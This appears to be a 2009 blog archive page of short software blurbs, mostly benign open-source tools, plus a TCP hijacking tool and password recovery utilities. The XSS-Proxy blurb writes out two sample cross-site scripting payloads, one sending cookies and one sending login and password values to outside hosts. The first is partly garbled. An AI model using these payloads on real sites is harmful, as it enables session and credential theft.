Archive for October, 2009

Open Source TCP Session Hijacking Tool »

Hunt is a tool for exploiting well known weaknesses in TCP/IP protocol. Use primarily to hijack connections, but has many other features. Hunt is a program for intruding into a connection, watching it and resetting it. Hunt operates on Ethernet and is best used for connections which can be watched through it. However, it is [...]

Cross Site Scripting Attack Tool »

XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool. Types of information leakage due to XSS attack 1. Client can reveal cookies to 3rd party (session state, order info, etc) http://host/a.php?variable="><script>document.location=’http://www.cgisecurity.com/cgi-bin/cookie.cgi?document.location=’http://www.cgisecurity.com/cgi-bin/cookie.cgi">http://host/a.php?variable="><script>document.location=’http://www.cgisecurity.com/cgi-bin/cookie.cgi? ‘%20+document.cookie</script> 2. Client can reveal posted form items to 3rd party (userID/passwd, etc) <form> action="logoninformation.jsp" method="post" onsubmit="hackImg=new Image; hackImg.src=’http://www.malicioussite.com/’+document.forms(1).login.value’+’:’+ document.forms(1).password.value;" </form> 3. Client can be [...]

Open Source MMS Library »

Mmslib is a PHP library for encoding and decoding MMS:es. MMS is short for Multimedia Messaging Service. In short it is the successor of SMS (Short Message Service) with the enhancements that you can not only send text but basically any content type your phone can handle such as images, text, videos, ring signals and [...]

Hacking: Information Digging Application »

SEAT (Search Engine Assessment Tool) is the next generation information digging application geared toward the needs of security professionals. SEAT uses information stored in search engine databases, cache repositories, and other public resources to scan a site for potential vulnerabilities. It’s multi-threaded, multi-database, and multi-search-engine capabilities permit easy navigation through vast amounts of information with [...]

Open Source Video Editor »

Avidemux is a free video editor designed for simple cutting, filtering and encoding tasks. It supports many file types, including AVI, DVD compatible MPEG files, MP4 and ASF, using a variety of codecs. Tasks can be automated using projects, job queue and powerful scripting capabilities. Avidemux is available for Linux, BSD, Mac OS X and [...]

Open Source CAD »

Archimedes is a computer-aided design software focused on architecture. It is developed by a team of Computer Science students with colaboration of student and professional architects. The project was first conceived of on June 2005, but actual development only started on March 2006. At its first stage, the project aims to be a simple drawing [...]

Windows Shell Replacement »

Emerge Desktop is a replacement windows "shell" (the desktop environment normally provided by Windows Explorer) for Windows 2000 and above. In order to replace Windows Explorer as a shell, it provides a system tray (the area that collects the icons collected at the lower right corner in Explorer), called emergeTray. It will also provide access [...]

Windows: Organize Desktop Tool »

Fences is a program that helps you organize your desktop, and can hide your icons when they’re not in use. Fences is a one-of-a-kind program, allowing you to draw labeled shaded areas on your desktop, which become movable & resizable containers for your desktop icons. These groups can help bring organization and consistency to your [...]

Open Source Network Graphing »

Cacti is a complete network graphing solution designed to harness the power of RRDTool‘s data storage and graphing functionality. Cacti provides a fast poller, advanced graph templating, multiple data acquisition methods, and user management features out of the box. All of this is wrapped in an intuitive, easy to use interface that makes sense for [...]

TCL Web Test Tool »

tclwebtest is a tool to write automated tests for web applications. It provides a simple API for issuing http requests, dealing with the result and assume specific response values, while taking care of the details such as redirects and cookies. It has some basic html parsing functionality, to provide access to elements of the result [...]

Open Source Data Logging and Graphing System »

RRDtool is the OpenSource industry standard, high performance data logging and graphing system for time series data. Use it to write your custom monitoring shell scripts or create whole applications using its Perl, Python, Ruby, TCL or PHP bindings.

Open Source Oracle Load Test Tool »

Hammerora is a load generation tool for Oracle 8i,9i,10g and 11g, MySQL and web applications on Linux/UNIX and Windows written in TCL/TK released under the GNU Public License.  Therefore with Hammerora there is no expensive per "Virtual User" licensing. You can create the desired number of sessions that your hardware will sustain. Hammerora has been [...]

Java: Time Synchronization Trick in Programming »

In previous article, I have written about Java Time Sync Problem. JVM time follows the CPU ticks once it is started even though the application servers are time synced with NTP. With this in mind, if developer does not use a centralized server to retrieve the time, it would pose a problem. Image the following [...]

Free Hacking Tools »

Nirsoft website provides a number of utilities for password recovery, networking and other internet related tools. For password recovery, there are Mail PassView – Recover the passwords of popular email clients: Outlook Express, MS Outlook, Eudora, Mozilla Thunderbird , and more… MessenPass – Recover the passwords of instant messenger programs: Yahoo Messenger, MSN Messenger, Trillian, [...]

Open Source Java X Windows Server »

WeirdX is an X Window System server in pure Java under GNU GPL. It is derived from WiredX-Lite and will run on any platforms which support Java 1.1. This X server will not be suitable to exec heavy x clients, but you may find that twm, xterm, etc. will run fine on it. WeirdX handles [...]

Open Source Java ER Modeler »

Application Ermodeller is a free CASE tool for data modelling which is built in Java. This tool supports conceptual and logical data modelling and in the final step, it allows to create physical model that is specific for particular DBMS. The basic idea is to support development of database via ER modelling in three levels [...]

Distributed and Parallel Program Execution Runtime »

We live in interesting times, where breakthroughs in the sciences increasingly depend on the growing availability and abundance of commoditized, networked computational resources. With the help of the cloud or grid, computations that would otherwise run for days on a single desktop machine now have distributed and/or parallel formulations that can churn through, in a [...]

Open Source Backup Software »

AMANDA, the Advanced Maryland Automatic Network Disk Archiver, is a backup system that allows the administrator to set up a single master backup server to back up multiple hosts over network to tape drives/changers or disks or optical media. Amanda uses native dump and/or GNU tar facilities and can back up a large number of [...]

Open Source File and Archive Manager »

Peazip is an open source file and archive manager. PeaZip can extract most of archive formats both from Windows and Unix worlds: currently 87 file extensions are supported ranging from mainstream 7Z, RAR, TAR and ZIP to experimental ones like PAQ/LPAQ family, currently the most powerful compressor available. For archive creation, PeaZip suppors a wide [...]

Portable PDF Viewer »

Sumatra PDF is a slim, free, open-source PDF viewer for Windows. Portable out of the box. Sumatra has a minimalistic design. Simplicity has a higher priority than a lot of features. It’s small and starts up very fast. It’s designed for portable use: only one file so you can run it from external USB drive. [...]